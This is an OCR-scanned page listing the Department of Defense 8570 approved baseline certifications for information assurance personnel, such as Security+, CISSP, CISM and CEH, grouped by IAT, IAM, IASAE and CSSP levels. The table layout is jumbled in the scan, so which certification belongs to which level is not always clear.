STIGs ¥ | Tool

Home > Cyber Workforce Management Program (DoDD 8140.01 & DoD 8570.01-m) > DoD Approved 8570 Baseline

Certifications

DoD Approved 8570 Baseline Certifications

As an extension of Appendix 3 to the DoD 8570.01-Manual, the following certifications have been approved as IA baseline
certifications for the 1A Workforce. Personnel performing IA functions must obtain one of the certifications required for their
position category or specialty and level. Refer to Appendix 3 of 8570.01-M for further implementation guidance

1AT Level |

1AM Level |

Security+ CE

CASP CE
CISSP (or Associate)
CSSLP

CSSP Analyst

CSSP Auditor

Approved Baseline Certifications
1AT Level Il
CCNA Security

CISSP (or Associate)
GSLC

CASP CE
CISSP (or Associate)
CssLp

CSSP Infrastructure Support

CSSP Manager

CIsm
CISSP-ISSMP

IAT Level it

CASP CE

CCNP Security
CISA

CISSP (or Associate)

1AM Level Il

CISSP (or Associate)
GSLC

IASAE I

CISSPISSAP
CISSP-ISSEP

CSSP Incident Responder

CEH
CFR
CSA+
GCFA
GCIH
SCYBER
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